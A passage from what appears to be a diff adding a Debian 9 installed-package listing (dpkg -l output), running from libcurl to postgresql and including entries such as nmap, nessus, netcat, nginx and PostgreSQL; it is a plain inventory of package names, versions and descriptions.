and documentation for libcurl (OpenSSL flavour) + ii libdatrie1 0.2.10-4+b1 amd64 Double-array trie library + ii libdb5.3 5.3.28-12+deb9u1 amd64 Berkeley v5.3 Database Libraries [runtime] + ii libdbus-1-3 1.10.22-0+deb9u1 amd64 simple interprocess messaging system (library) + ii libdconf1 0.26.0-2+b1 amd64 simple configuration storage system - runtime library + ii libdebconfclient0 0.227 amd64 Debian Configuration Management System (C-implementation library) + ii libdevmapper-event1.02.1 2:1.02.137-2 amd64 Linux Kernel Device Mapper event support library + ii libdevmapper1.02.1 2:1.02.137-2 amd64 Linux Kernel Device Mapper userspace library + ii libdigest-hmac-perl 1.03+dfsg-1 all module for creating standard message integrity checks + ii libdiscover2 2.1.2-7.1 amd64 hardware identification library + ii libdns-export162 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 Exported DNS Shared Library + ii libdns162 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 DNS Shared Library used by BIND + ii libdpkg-perl 1.18.24 all Dpkg perl modules + ii libdrm-amdgpu1 2.4.74-1 amd64 Userspace interface to amdgpu-specific kernel DRM services -- runtime + ii libdrm-intel1 2.4.74-1 amd64 Userspace interface to intel-specific kernel DRM services -- runtime + ii libdrm-nouveau2 2.4.74-1 amd64 Userspace interface to nouveau-specific kernel DRM services -- runtime + ii libdrm-radeon1 2.4.74-1 amd64 Userspace interface to radeon-specific kernel DRM services -- runtime + ii libdrm2 2.4.74-1 amd64 Userspace interface to kernel DRM services -- runtime + ii libdumbnet1 1.12-7+b1 amd64 dumb, portable networking library -- shared library + ii libedit2 3.1-20160903-3 amd64 BSD editline and history libraries + ii libegl1-mesa 13.0.6-1+b2 amd64 free implementation of the EGL API -- runtime + ii libelf1 0.168-1 amd64 library to read and write ELF files + ii libepoxy0 1.3.1-2 amd64 OpenGL function pointer management library + ii liberror-perl 0.17024-1 all Perl module for error/exception handling in an OO-ish way + ii libestr0 0.1.10-2 amd64 Helper functions for handling strings (lib) + ii libevent-2.0-5 2.0.21-stable-3 amd64 Asynchronous event notification library + ii libexpat1 2.2.0-2+deb9u1 amd64 XML parsing C library - runtime library + ii libfakeroot 1.21-3.1 amd64 tool for simulating superuser privileges - shared libraries + ii libfastjson4 0.99.4-1 amd64 fast json library for C + ii libfbclient2 3.0.1.32609.ds4-14 amd64 Firebird client library + ii libfdisk1 2.29.2-1 amd64 fdisk partitioning library + ii libffi-dev 3.2.1-6 amd64 Foreign Function Interface library (development files) + ii libffi6 3.2.1-6 amd64 Foreign Function Interface library runtime + ii libfile-fcntllock-perl 0.22-3+b2 amd64 Perl module for file locking with fcntl(2) + ii libflac8 1.3.2-1 amd64 Free Lossless Audio Codec - runtime C library + ii libfltk-images1.3 1.3.4-4 amd64 Fast Light Toolkit - image loading support + ii libfltk1.3 1.3.4-4 amd64 Fast Light Toolkit - main shared library + ii libfontconfig1 2.11.0-6.7+b1 amd64 generic font configuration library - runtime + ii libfontenc1 1:1.1.3-1+b2 amd64 X11 font encoding library + ii libfreetype6 2.6.3-3.2 amd64 FreeType 2 font engine, shared library files + ii libfribidi0 0.19.7-1+b1 amd64 Free Implementation of the Unicode BiDi algorithm + ii libfuse2 2.9.7-1 amd64 Filesystem in Userspace (library) + ii libgail-common 2.24.31-2 amd64 GNOME Accessibility Implementation Library -- common modules + ii libgail18 2.24.31-2 amd64 GNOME Accessibility Implementation Library -- shared libraries + ii libgbm1 13.0.6-1+b2 amd64 generic buffer management API -- runtime + ii libgc1c2 1:7.4.2-8 amd64 conservative garbage collector for C and C++ + ii libgcc-6-dev 6.3.0-18 amd64 GCC support library (development files) + ii libgcc1 1:6.3.0-18 amd64 GCC support library + ii libgcrypt20 1.7.6-2+deb9u2 amd64 LGPL Crypto library - runtime library + ii libgdbm-dev 1.8.3-14 amd64 GNU dbm database routines (development files) + ii libgdbm3 1.8.3-14 amd64 GNU dbm database routines (runtime version) + ii libgdk-pixbuf2.0-0 2.36.5-2+deb9u1 amd64 GDK Pixbuf library + ii libgdk-pixbuf2.0-common 2.36.5-2+deb9u1 all GDK Pixbuf library - data files + ii libgeoip1 1.6.9-4 amd64 non-DNS IP-to-country resolver library + ii libgfortran3 6.3.0-18 amd64 Runtime library for GNU Fortran applications + ii libgif7 5.1.4-0.4 amd64 library for GIF images (library) + ii libgl1-mesa-dri 13.0.6-1+b2 amd64 free implementation of the OpenGL API -- DRI modules + ii libgl1-mesa-glx 13.0.6-1+b2 amd64 free implementation of the OpenGL API -- GLX runtime + ii libglapi-mesa 13.0.6-1+b2 amd64 free implementation of the GL API -- shared library + ii libglib2.0-0 2.50.3-2 amd64 GLib library of C routines + ii libglib2.0-data 2.50.3-2 all Common files for GLib library + ii libgmp10 2:6.1.2+dfsg-1 amd64 Multiprecision arithmetic library + ii libgnutls30 3.5.8-5+deb9u3 amd64 GNU TLS library - main runtime library + ii libgomp1 6.3.0-18 amd64 GCC OpenMP (GOMP) support library + ii libgpg-error0 1.26-2 amd64 library for common error values and messages in GnuPG components + ii libgpm2 1.20.4-6.2+b1 amd64 General Purpose Mouse - shared library + ii libgraphite2-3 1.3.10-1 amd64 Font rendering engine for Complex Scripts -- library + ii libgsasl7 1.8.0-8+b2 amd64 GNU SASL library + ii libgssapi-krb5-2 1.15-1+deb9u1 amd64 MIT Kerberos runtime libraries - krb5 GSS-API Mechanism + ii libgtk-3-0 3.22.11-1 amd64 GTK+ graphical user interface library + ii libgtk-3-bin 3.22.11-1 amd64 programs for the GTK+ graphical user interface library + ii libgtk-3-common 3.22.11-1 all common files for the GTK+ graphical user interface library + ii libgtk2.0-0 2.24.31-2 amd64 GTK+ graphical user interface library + ii libgtk2.0-bin 2.24.31-2 amd64 programs for the GTK+ graphical user interface library + ii libgtk2.0-common 2.24.31-2 all common files for the GTK+ graphical user interface library + ii libharfbuzz0b 1.4.2-1 amd64 OpenType text shaping engine (shared library) + ii libhogweed4 3.3-1+b2 amd64 low level cryptographic library (public-key cryptos) + ii libice6 2:1.0.9-2 amd64 X11 Inter-Client Exchange library + ii libicu-dev 57.1-6 amd64 Development files for International Components for Unicode + ii libicu57 57.1-6 amd64 International Components for Unicode + ii libidn11 1.33-1 amd64 GNU Libidn library, implementation of IETF IDN specifications + ii libidn2-0 0.16-1+deb9u1 amd64 Internationalized domain names (IDNA2008) library + ii libio-socket-inet6-perl 2.72-2 all object interface for AF_INET6 domain sockets + ii libip4tc0 1.6.0+snapshot20161117-6 amd64 netfilter libip4tc library + ii libip6tc0 1.6.0+snapshot20161117-6 amd64 netfilter libip6tc library + ii libiptc0 1.6.0+snapshot20161117-6 amd64 netfilter libiptc library + ii libisc-export160 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 Exported ISC Shared Library + ii libisc160 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 ISC Shared Library used by BIND + ii libisccc140 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 Command Channel Library used by BIND + ii libisccfg140 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 Config File Handling Library used by BIND + ii libisl15 0.18-1 amd64 manipulating sets and relations of integer points bounded by linear constraints + ii libitm1 6.3.0-18 amd64 GNU Transactional Memory Library + ii libjbig0 2.1-3.1+b2 amd64 JBIGkit libraries + ii libjpeg62-turbo 1:1.5.1-2 amd64 libjpeg-turbo JPEG runtime library + ii libjs-jquery 3.1.1-2 all JavaScript library for dynamic web applications + ii libjs-underscore 1.8.3~dfsg-1 all JavaScript's functional programming helper library + ii libjson-glib-1.0-0 1.2.6-1 amd64 GLib JSON manipulation library + ii libjson-glib-1.0-common 1.2.6-1 all GLib JSON manipulation library (common files) + ii libk5crypto3 1.15-1+deb9u1 amd64 MIT Kerberos runtime libraries - Crypto Library + ii libkeyutils1 1.5.9-9 amd64 Linux Key Management Utilities (library) + ii libklibc 2.0.4-9 amd64 minimal libc subset for use with initramfs + ii libkmod2 23-2 amd64 libkmod shared library + ii libkrb5-3 1.15-1+deb9u1 amd64 MIT Kerberos runtime libraries + ii libkrb5support0 1.15-1+deb9u1 amd64 MIT Kerberos runtime libraries - Support library + ii libksba8 1.3.5-2 amd64 X.509 and CMS support library + ii libkyotocabinet16v5 1.2.76-4.2+b1 amd64 Straightforward implementation of DBM - shared library + ii liblcms2-2 2.8-4 amd64 Little CMS 2 color management library + ii libldap-2.4-2 2.4.44+dfsg-5+deb9u1 amd64 OpenLDAP libraries + ii libldap-common 2.4.44+dfsg-5+deb9u1 all OpenLDAP common files for libraries + ii liblinear3 2.1.0+dfsg-2 amd64 Library for Large Linear Classification + ii libllvm3.9 1:3.9.1-9 amd64 Modular compiler and toolchain technologies, runtime library + ii liblocale-gettext-perl 1.07-3+b1 amd64 module using libc functions for internationalization in Perl + ii liblockfile-bin 1.14-1+b1 amd64 support binaries for and cli utilities based on liblockfile + ii liblogging-stdlog0 1.0.5-2+b2 amd64 easy to use and lightweight logging library + ii liblognorm5 2.0.1-1.1+b1 amd64 log normalizing library + ii liblsan0 6.3.0-18 amd64 LeakSanitizer -- a memory leak detector (runtime) + ii libltdl-dev 2.4.6-2 amd64 System independent dlopen wrapper for GNU libtool + ii libltdl7 2.4.6-2 amd64 System independent dlopen wrapper for GNU libtool + ii liblua5.2-0 5.2.4-1.1+b2 amd64 Shared library for the Lua interpreter version 5.2 + ii liblua5.3-0 5.3.3-1 amd64 Shared library for the Lua interpreter version 5.3 + ii liblvm2app2.2 2.02.168-2 amd64 LVM2 application library + ii liblvm2cmd2.02 2.02.168-2 amd64 LVM2 command library + ii liblwres141 1:9.10.3.dfsg.P4-12.3+deb9u3 amd64 Lightweight Resolver Library used by BIND + ii liblz4-1 0.0~r131-2+b1 amd64 Fast LZ compression algorithm library - runtime + ii liblzma5 5.2.2-1.2+b1 amd64 XZ-format compression library + ii liblzo2-2 2.08-1.2+b2 amd64 data compression library + ii libmagic-mgc 1:5.30-1+deb9u1 amd64 File type determination library using "magic" numbers (compiled magic file) + ii libmagic1 1:5.30-1+deb9u1 amd64 Recognize the type of data in a file using "magic" numbers - library + ii libmailutils5 1:3.1.1-1 amd64 GNU Mail abstraction library + ii libmariadbclient18 10.1.26-0+deb9u1 amd64 MariaDB database client library + ii libmnl-dev 1.0.4-2 amd64 minimalistic Netlink communication library (devel) + ii libmnl0 1.0.4-2 amd64 minimalistic Netlink communication library + ii libmount1 2.29.2-1 amd64 device mounting library + ii libmpc3 1.0.3-1+b2 amd64 multiple precision complex floating-point library + ii libmpdec2 2.4.2-1 amd64 library for decimal floating point arithmetic (runtime library) + ii libmpfr4 3.1.5-1 amd64 multiple precision floating-point computation + ii libmpx2 6.3.0-18 amd64 Intel memory protection extensions (runtime) + ii libmspack0 0.5-1+deb9u1 amd64 library for Microsoft compression formats (shared library) + ii libncurses5 6.0+20161126-1+deb9u1 amd64 shared libraries for terminal handling + ii libncurses5-dev 6.0+20161126-1+deb9u1 amd64 developer's libraries for ncurses + ii libncursesw5 6.0+20161126-1+deb9u1 amd64 shared libraries for terminal handling (wide character support) + ii libnet-dns-perl 1.07-1 all Perform DNS queries from a Perl script + ii libnet-ip-perl 1.26-1 all Perl extension for manipulating IPv4/IPv6 addresses + ii libnetfilter-conntrack3 1.0.6-2 amd64 Netfilter netlink-conntrack library + ii libnettle6 3.3-1+b2 amd64 low level cryptographic library (symmetric and one-way cryptos) + ii libnewt0.52 0.52.19-1+b1 amd64 Not Erik's Windowing Toolkit - text mode windowing with slang + ii libnfnetlink0 1.0.1-3 amd64 Netfilter netlink library + ii libnghttp2-14 1.18.1-1 amd64 library implementing HTTP/2 protocol (shared library) + ii libnginx-mod-http-echo 1.10.3-1+deb9u1 amd64 Bring echo and more shell style goodies to Nginx + ii libnl-3-200 3.2.27-2 amd64 library for dealing with netlink sockets + ii libnl-route-3-200 3.2.27-2 amd64 library for dealing with netlink sockets - route interface + ii libnotify4 0.7.7-2 amd64 sends desktop notifications to a notification daemon + ii libnpth0 1.3-1 amd64 replacement for GNU Pth using system threads + ii libnspr4 2:4.12-6 amd64 NetScape Portable Runtime Library + ii libnss3 2:3.26.2-1.1+deb9u1 amd64 Network Security Service libraries + ii libntlm0 1.4-8 amd64 NTLM authentication library + ii libogg0 1.3.2-1 amd64 Ogg bitstream library + ii libopts25 1:5.18.12-3 amd64 automated option processing library based on autogen + ii libopts25-dev 1:5.18.12-3 amd64 automated option processing library based on autogen + ii libp11-kit0 0.23.3-2 amd64 library for loading and coordinating access to PKCS#11 modules - runtime + ii libpam-modules 1.1.8-3.6 amd64 Pluggable Authentication Modules for PAM + ii libpam-modules-bin 1.1.8-3.6 amd64 Pluggable Authentication Modules for PAM - helper binaries + ii libpam-runtime 1.1.8-3.6 all Runtime support for the PAM library + ii libpam-systemd 232-25+deb9u1 amd64 system and service manager - PAM module + ii libpam0g 1.1.8-3.6 amd64 Pluggable Authentication Modules library + ii libpango-1.0-0 1.40.5-1 amd64 Layout and rendering of internationalized text + ii libpangocairo-1.0-0 1.40.5-1 amd64 Layout and rendering of internationalized text + ii libpangoft2-1.0-0 1.40.5-1 amd64 Layout and rendering of internationalized text + ii libpcap-dev 1.8.1-3 all development library for libpcap (transitional package) + ii libpcap0.8 1.8.1-3 amd64 system interface for user-level packet capture + ii libpcap0.8-dev 1.8.1-3 amd64 development library and header files for libpcap0.8 + ii libpci3 1:3.5.2-1 amd64 Linux PCI Utilities (shared library) + ii libpciaccess0 0.13.4-1+b2 amd64 Generic PCI access library for X + ii libpcre3 2:8.39-3 amd64 Old Perl 5 Compatible Regular Expression Library - runtime files + ii libpcsclite1 1.8.20-1 amd64 Middleware to access a smart card using PC/SC (library) + ii libperl5.24 5.24.1-3+deb9u2 amd64 shared Perl library + ii libpipeline1 1.4.1-2 amd64 pipeline manipulation library + ii libpixman-1-0 0.34.0-1 amd64 pixel-manipulation library for X and cairo + ii libpng16-16 1.6.28-1 amd64 PNG library - runtime (version 1.6) + ii libpopt0 1.16-10+b2 amd64 lib for parsing cmdline parameters + ii libpq-dev 9.6.6-0+deb9u1 amd64 header files for libpq5 (PostgreSQL library) + ii libpq5 9.6.6-0+deb9u1 amd64 PostgreSQL C client library + ii libprocps6 2:3.3.12-3 amd64 library for accessing process information from /proc + ii libproxy1v5 0.4.14-2 amd64 automatic proxy configuration management library (shared) + ii libpsl5 0.17.0-3 amd64 Library for Public Suffix List (shared libraries) + ii libpulse0 10.0-1+deb9u1 amd64 PulseAudio client libraries + ii libpython-stdlib 2.7.13-2 amd64 interactive high-level object-oriented language (default python version) + ii libpython2.7 2.7.13-2 amd64 Shared Python runtime library (version 2.7) + ii libpython2.7-minimal 2.7.13-2 amd64 Minimal subset of the Python language (version 2.7) + ii libpython2.7-stdlib 2.7.13-2 amd64 Interactive high-level object-oriented language (standard library, version 2.7) + ii libpython3-stdlib 3.5.3-1 amd64 interactive high-level object-oriented language (default python3 version) + ii libpython3.5 3.5.3-1 amd64 Shared Python runtime library (version 3.5) + ii libpython3.5-minimal 3.5.3-1 amd64 Minimal subset of the Python language (version 3.5) + ii libpython3.5-stdlib 3.5.3-1 amd64 Interactive high-level object-oriented language (standard library, version 3.5) + ii libquadmath0 6.3.0-18 amd64 GCC Quad-Precision Math Library + ii libreadline-dev 7.0-3 amd64 GNU readline and history libraries, development files + ii libreadline5 5.2+dfsg-3+b1 amd64 GNU readline and history libraries, run-time libraries + ii libreadline7 7.0-3 amd64 GNU readline and history libraries, run-time libraries + ii librest-0.7-0 0.8.0-2 amd64 REST service access library + ii librsvg2-2 2.40.16-1+b1 amd64 SAX-based renderer library for SVG files (runtime) + ii librsvg2-common 2.40.16-1+b1 amd64 SAX-based renderer library for SVG files (extra runtime) + ii librtmp1 2.4+20151223.gitfa8646d.1-1+b1 amd64 toolkit for RTMP streams (shared library) + ii libruby2.3 2.3.3-1+deb9u2 amd64 Libraries necessary to run Ruby 2.3 + ii libsasl2-2 2.1.27~101-g0780600+dfsg-3 amd64 Cyrus SASL - authentication abstraction library + ii libsasl2-modules 2.1.27~101-g0780600+dfsg-3 amd64 Cyrus SASL - pluggable authentication modules + ii libsasl2-modules-db 2.1.27~101-g0780600+dfsg-3 amd64 Cyrus SASL - pluggable authentication modules (DB) + ii libseccomp2 2.3.1-2.1 amd64 high level interface to Linux seccomp filter + ii libselinux1 2.6-3+b3 amd64 SELinux runtime shared libraries + ii libsemanage-common 2.6-2 all Common files for SELinux policy management libraries + ii libsemanage1 2.6-2 amd64 SELinux policy management library + ii libsensors4 1:3.4.0-4 amd64 library to read temperature/voltage/fan sensors + ii libsepol1 2.6-2 amd64 SELinux library for manipulating binary security policies + ii libserf-1-1 1.3.9-3 amd64 high-performance asynchronous HTTP client library + ii libsigsegv2 2.10-5 amd64 Library for handling page faults in a portable way + ii libslang2 2.3.1-5 amd64 S-Lang programming library - runtime version + ii libsm6 2:1.2.2-1+b3 amd64 X11 Session Management library + ii libsmartcols1 2.29.2-1 amd64 smart column output alignment library + ii libsndfile1 1.0.27-3 amd64 Library for reading/writing audio files + ii libsocket6-perl 0.27-1+b1 amd64 Perl extensions for IPv6 + ii libsoup-gnome2.4-1 2.56.0-2+deb9u1 amd64 HTTP library implementation in C -- GNOME support library + ii libsoup2.4-1 2.56.0-2+deb9u1 amd64 HTTP library implementation in C -- Shared library + ii libsqlite3-0 3.16.2-5 amd64 SQLite 3 shared library + ii libsqlite3-dev 3.16.2-5 amd64 SQLite 3 development files + ii libss2 1.43.4-2 amd64 command-line interface parsing library + ii libssh-4 0.7.3-2 amd64 tiny C SSH library (OpenSSL flavor) + ii libssh2-1 1.7.0-1 amd64 SSH2 client-side library + ii libssl-dev 1.1.0f-3+deb9u1 amd64 Secure Sockets Layer toolkit - development files + ii libssl-doc 1.1.0f-3+deb9u1 all Secure Sockets Layer toolkit - development documentation + ii libssl1.0.2 1.0.2l-2+deb9u1 amd64 Secure Sockets Layer toolkit - shared libraries + ii libssl1.1 1.1.0f-3+deb9u1 amd64 Secure Sockets Layer toolkit - shared libraries + ii libstdc++-6-dev 6.3.0-18 amd64 GNU Standard C++ Library v3 (development files) + ii libstdc++6 6.3.0-18 amd64 GNU Standard C++ Library v3 + ii libsvn1 1.9.5-1+deb9u1 amd64 Shared libraries used by Apache Subversion + ii libswitch-perl 2.17-2 all switch statement for Perl + ii libsystemd0 232-25+deb9u1 amd64 systemd utility library + ii libtasn1-6 4.10-1.1 amd64 Manage ASN.1 structures (runtime) + ii libtcl8.6 8.6.6+dfsg-1+b1 amd64 Tcl (the Tool Command Language) v8.6 - run-time library files + ii libtext-charwidth-perl 0.04-7+b5 amd64 get display widths of characters on the terminal + ii libtext-iconv-perl 1.7-5+b4 amd64 converts between character sets in Perl + ii libtext-wrapi18n-perl 0.06-7.1 all internationalized substitute of Text::Wrap + ii libthai-data 0.1.26-1 all Data files for Thai language support library + ii libthai0 0.1.26-1 amd64 Thai language support library + ii libtiff5 4.0.8-2+deb9u1 amd64 Tag Image File Format (TIFF) library + ii libtinfo-dev 6.0+20161126-1+deb9u1 amd64 developer's library for the low-level terminfo library + ii libtinfo5 6.0+20161126-1+deb9u1 amd64 shared low-level terminfo library for terminal handling + ii libtommath1 1.0-4 amd64 multiple-precision integer library [runtime] + ii libtool 2.4.6-2 all Generic library support script + ii libtsan0 6.3.0-18 amd64 ThreadSanitizer -- a Valgrind-based detector of data races (runtime) + ii libtxc-dxtn-s2tc 1.0+git20151227-2 amd64 Texture compression library for Mesa + ii libubsan0 6.3.0-18 amd64 UBSan -- undefined behaviour sanitizer (runtime) + ii libudev1 232-25+deb9u1 amd64 libudev shared library + ii libunistring0 0.9.6+really0.9.3-0.1 amd64 Unicode string library for C + ii libusb-0.1-4 2:0.1.12-30 amd64 userspace USB programming library + ii libustr-1.0-1 1.0.4-6 amd64 Micro string library: shared library + ii libutempter0 1.1.6-3 amd64 privileged helper for utmp/wtmp updates (runtime) + ii libuuid1 2.29.2-1 amd64 Universally Unique ID library + ii libuv1 1.9.1-3 amd64 asynchronous event notification library - runtime library + ii libvorbis0a 1.3.5-4 amd64 decoder library for Vorbis General Audio Compression Codec + ii libvorbisenc2 1.3.5-4 amd64 encoder library for Vorbis General Audio Compression Codec + ii libwayland-client0 1.12.0-1 amd64 wayland compositor infrastructure - client library + ii libwayland-cursor0 1.12.0-1 amd64 wayland compositor infrastructure - cursor library + ii libwayland-egl1-mesa 13.0.6-1+b2 amd64 implementation of the Wayland EGL platform -- runtime + ii libwayland-server0 1.12.0-1 amd64 wayland compositor infrastructure - server library + ii libwrap0 7.6.q-26 amd64 Wietse Venema's TCP wrappers library + ii libwxbase3.0-0v5 3.0.2+dfsg-4 amd64 wxBase library (runtime) - non-GUI support classes of wxWidgets toolkit + ii libwxgtk3.0-0v5 3.0.2+dfsg-4 amd64 wxWidgets Cross-platform C++ GUI toolkit (GTK+ runtime) + ii libx11-6 2:1.6.4-3 amd64 X11 client-side library + ii libx11-data 2:1.6.4-3 all X11 client-side library + ii libx11-xcb1 2:1.6.4-3 amd64 Xlib/XCB interface library + ii libxapian30 1.4.3-2 amd64 Search engine library + ii libxau6 1:1.0.8-1 amd64 X11 authorisation library + ii libxaw7 2:1.0.13-1+b2 amd64 X11 Athena Widget library + ii libxcb-dri2-0 1.12-1 amd64 X C Binding, dri2 extension + ii libxcb-dri3-0 1.12-1 amd64 X C Binding, dri3 extension + ii libxcb-glx0 1.12-1 amd64 X C Binding, glx extension + ii libxcb-present0 1.12-1 amd64 X C Binding, present extension + ii libxcb-render0 1.12-1 amd64 X C Binding, render extension + ii libxcb-shape0 1.12-1 amd64 X C Binding, shape extension + ii libxcb-shm0 1.12-1 amd64 X C Binding, shm extension + ii libxcb-sync1 1.12-1 amd64 X C Binding, sync extension + ii libxcb-xfixes0 1.12-1 amd64 X C Binding, xfixes extension + ii libxcb1 1.12-1 amd64 X C Binding + ii libxcomposite1 1:0.4.4-2 amd64 X11 Composite extension library + ii libxcursor1 1:1.1.14-1+b4 amd64 X cursor management library + ii libxdamage1 1:1.1.4-2+b3 amd64 X11 damaged region extension library + ii libxdmcp6 1:1.1.2-3 amd64 X11 Display Manager Control Protocol library + ii libxerces-c3.1 3.1.4+debian-2 amd64 validating XML parser library for C++ + ii libxext6 2:1.3.3-1+b2 amd64 X11 miscellaneous extension library + ii libxfixes3 1:5.0.3-1 amd64 X11 miscellaneous 'fixes' extension library + ii libxfont1 1:1.5.2-4 amd64 X11 font rasterisation library + ii libxft2 2.3.2-1+b2 amd64 FreeType-based font drawing library for X + ii libxi6 2:1.7.9-1 amd64 X11 Input extension library + ii libxinerama1 2:1.1.3-1+b3 amd64 X11 Xinerama extension library + ii libxkbcommon0 0.7.1-1 amd64 library interface to the XKB compiler - shared library + ii libxml-security-c17v5 1.7.3-4 amd64 C++ library for XML Digital Signatures (runtime) + ii libxml2 2.9.4+dfsg1-2.2+deb9u1 amd64 GNOME XML library + ii libxml2-dev 2.9.4+dfsg1-2.2+deb9u1 amd64 Development files for the GNOME XML library + ii libxmu6 2:1.1.2-2 amd64 X11 miscellaneous utility library + ii libxmuu1 2:1.1.2-2 amd64 X11 miscellaneous micro-utility library + ii libxpm4 1:3.5.12-1 amd64 X11 pixmap library + ii libxrandr2 2:1.5.1-1 amd64 X11 RandR extension library + ii libxrender1 1:0.9.10-1 amd64 X Rendering Extension client library + ii libxshmfence1 1.2-1+b2 amd64 X shared memory fences - shared library + ii libxslt1-dev 1.1.29-2.1 amd64 XSLT 1.0 processing library - development kit + ii libxslt1.1 1.1.29-2.1 amd64 XSLT 1.0 processing library - runtime library + ii libxt6 1:1.1.5-1 amd64 X11 toolkit intrinsics library + ii libxtables12 1.6.0+snapshot20161117-6 amd64 netfilter xtables library + ii libxtst6 2:1.2.3-1 amd64 X11 Testing -- Record extension library + ii libxv1 2:1.0.11-1 amd64 X11 Video extension library + ii libxxf86dga1 2:1.1.4-1+b3 amd64 X11 Direct Graphics Access extension library + ii libxxf86vm1 1:1.1.4-1+b2 amd64 X11 XFree86 video mode extension library + ii libyaml-0-2 0.1.7-2 amd64 Fast YAML 1.1 parser and emitter library + ii libyaml-dev 0.1.7-2 amd64 Fast YAML 1.1 parser and emitter library (development) + ii linux-base 4.5 all Linux image base package + ii linux-compiler-gcc-6-x86 4.9.51-1 amd64 Compiler for Linux on x86 (meta-package) + ii linux-headers-4.9.0-4-amd64 4.9.51-1 amd64 Header files for Linux 4.9.0-4-amd64 + ii linux-headers-4.9.0-4-common 4.9.51-1 all Common header files for Linux 4.9.0-4 + ii linux-headers-amd64 4.9+80+deb9u2 amd64 Header files for Linux amd64 configuration (meta-package) + ii linux-image-4.9.0-4-amd64 4.9.51-1 amd64 Linux 4.9 for 64-bit PCs + ii linux-image-amd64 4.9+80+deb9u2 amd64 Linux for 64-bit PCs (meta-package) + ii linux-kbuild-4.9 4.9.51-1 amd64 Kbuild infrastructure for Linux 4.9 + ii linux-libc-dev 4.9.51-1 amd64 Linux support headers for userspace development + ii locales 2.24-11+deb9u1 all GNU C Library: National Language (locale) data [support] + ii locate 4.6.0+git+20161106-2 amd64 maintain and query an index of a directory tree + ii login 1:4.4-4.1 amd64 system login tools + ii logrotate 3.11.0-0.1 amd64 Log rotation utility + ii lsb-base 9.20161125 all Linux Standard Base init script functionality + ii lsb-release 9.20161125 all Linux Standard Base version reporting utility + ii lsof 4.89+dfsg-0.1 amd64 Utility to list open files + ii lvm2 2.02.168-2 amd64 Linux Logical Volume Manager + ii m4 1.4.18-1 amd64 macro processing language + ii mailutils 1:3.1.1-1 amd64 GNU mailutils utilities for handling mail + ii mailutils-common 1:3.1.1-1 all Common files for GNU mailutils + ii make 4.1-9.1 amd64 utility for directing compilation + ii man-db 2.7.6.1-2 amd64 on-line manual pager + ii manpages 4.10-2 all Manual pages about using a GNU/Linux system + ii manpages-dev 4.10-2 all Manual pages about using GNU/Linux for development + ii mawk 1.3.3-17+b3 amd64 a pattern scanning and text processing language + ii mime-support 3.60 all MIME files 'mime.types' & 'mailcap', and support programs + ii mount 2.29.2-1 amd64 tools for mounting and manipulating filesystems + ii multiarch-support 2.24-11+deb9u1 amd64 Transitional package to ensure multiarch compatibility + ii mysql-common 5.8+1.0.2 all MySQL database common files, e.g. /etc/mysql/my.cnf + ii n2n 1.3.1~svn3789-5+b1 amd64 Peer-to-Peer VPN network daemon + ii nano 2.7.4-1 amd64 small, friendly text editor inspired by Pico + ii ncdu 1.12-1+b1 amd64 ncurses disk usage viewer + ii ncurses-base 6.0+20161126-1+deb9u1 all basic terminal type definitions + ii ncurses-bin 6.0+20161126-1+deb9u1 amd64 terminal-related programs and man pages + ii ncurses-term 6.0+20161126-1+deb9u1 all additional terminal type definitions + ii ndiff 7.40-1 all The Network Mapper - result compare utility + ii nessus 6.3.7 amd64 Nessus Scanner + ii net-tools 1.60+git20161116.90da8a0-1 amd64 NET-3 networking toolkit + ii netbase 5.4 all Basic TCP/IP networking system + ii netcat 1.10-41 all TCP/IP swiss army knife -- transitional package + ii netcat-traditional 1.10-41+b1 amd64 TCP/IP swiss army knife + ii netfilter-persistent 1.0.4+nmu2 all boot-time loader for netfilter configuration + ii nginx-common 1.10.3-1+deb9u1 all small, powerful, scalable web/proxy server - common files + ii nginx-light 1.10.3-1+deb9u1 amd64 nginx web/proxy server (basic version) + ii nmap 7.40-1 amd64 The Network Mapper + ii nodejs 4.8.2~dfsg-1 amd64 evented I/O for V8 javascript + ii notification-daemon 3.20.0-1+b1 amd64 daemon for displaying passive pop-up notifications + ii ntpdate 1:4.2.8p10+dfsg-3+deb9u1 amd64 client for setting system time from NTP servers + ii open-vm-tools 2:10.1.5-5055683-4+deb9u1 amd64 Open VMware Tools for virtual machines hosted on VMware (CLI) + ii open-vm-tools-dkms 2:10.1.5-5055683-4+deb9u1 all Open VMware Tools vmxnet kernel module (deprecated) + ii openjdk-8-jre 8u151-b12-1~deb9u1 amd64 OpenJDK Java runtime, using Hotspot JIT + ii openjdk-8-jre-headless 8u151-b12-1~deb9u1 amd64 OpenJDK Java runtime, using Hotspot JIT (headless) + ii openssh-client 1:7.4p1-10+deb9u1 amd64 secure shell (SSH) client, for secure access to remote machines + ii openssh-server 1:7.4p1-10+deb9u1 amd64 secure shell (SSH) server, for secure access from remote machines + ii openssh-sftp-server 1:7.4p1-10+deb9u1 amd64 secure shell (SSH) sftp server module, for SFTP access from remote machines + ii openssl 1.1.0f-3+deb9u1 amd64 Secure Sockets Layer toolkit - cryptographic utility + ii os-prober 1.76~deb9u1 amd64 utility to detect other OSes on a set of drives + ii passwd 1:4.4-4.1 amd64 change and administer password and group data + ii patch 2.7.5-1+b2 amd64 Apply a diff file to an original + ii pciutils 1:3.5.2-1 amd64 Linux PCI Utilities + ii perl 5.24.1-3+deb9u2 amd64 Larry Wall's Practical Extraction and Report Language + ii perl-base 5.24.1-3+deb9u2 amd64 minimal Perl system + ii perl-modules-5.24 5.24.1-3+deb9u2 all Core Perl modules + ii pgadmin3 1.22.2-1 amd64 graphical administration tool for PostgreSQL + ii pgadmin3-data 1.22.2-1 all graphical administration tool for PostgreSQL - documentation + ii pgagent 3.4.1-4 amd64 job scheduler for PostgreSQL + ii pinentry-curses 1.0.0-2 amd64 curses-based PIN or pass-phrase entry dialog for GnuPG + ii pkg-config 0.29-4+b1 amd64 manage compile and link flags for libraries + ii postgresql 9.6+181+deb9u1 all object-relational SQL database (supported version) + ii postgresql-9.6 9.6.6-0+deb9u1 amd64 object-relational SQL database, version 9.6 server + ii postgresql-client-9.6 9.6.6-0+deb9u1 amd64 front-end programs for PostgreSQL 9.6 + ii postgresql-client-common 181+deb9u1 all manager for multiple PostgreSQL client versions + ii postgresql-common 181+deb9u1 all PostgreSQL database-cluster manager + ii postgresql-contrib 9.6+181+deb9u1 all additional facilities for PostgreSQL (supported version) + ii 